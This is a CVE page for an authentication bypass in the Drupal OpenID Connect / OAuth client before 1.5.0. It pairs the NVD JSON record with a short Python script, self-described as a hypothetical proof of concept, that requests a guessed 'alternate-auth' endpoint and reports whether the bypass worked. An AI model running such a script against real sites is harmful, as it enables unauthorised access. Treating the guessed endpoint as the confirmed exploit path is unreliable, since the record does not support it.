CVE-2026-3531

import requests # Hypothetical PoC for CVE-2026-3531 # This script attempts to bypass authentication using an alternate path target_url = "http://drupal-site.com/openid-connect/alternate-auth" session = requests.Session() # Step 1: Login as low privileged user (if required by PR:L) # credentials = {'name': 'user', 'pass': 'password'} # session.post("http://drupal-site.com/user/login", data=credentials) # Step 2: Trigger the bypass via the alternate channel headers = { "User-Agent": "CVE-2026-3531-Scanner", "Accept": "application/json" } response = session.get(target_url, headers=headers) if response.status_code == 200 and "authenticated" in response.text: print("[+] Authentication bypass successful!") print(f"[+] Response: {response.text}") else: print("[-] Failed to bypass authentication.")

{"cve": {"id": "CVE-2026-3531", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:09.283", "lastModified": "2026-04-01T16:14:15.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal OpenID Connect / OAuth client allows Authentication Bypass.This issue affects OpenID Connect / OAuth client: from 0.0.0 before 1.5.0."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autenticación usando una ruta o canal alternativo en el cliente Drupal OpenID Connect / OAuth permite la omisión de autenticación. Este problema afecta al cliente OpenID Connect / OAuth: desde 0.0.0 anterior a 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bojanz:openid_connect_\\/_oauth_client:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "8.x-1.5", "matchCriteriaId": "4659C484-D955-4875-A0CC-3EF717150D8A"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-026", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}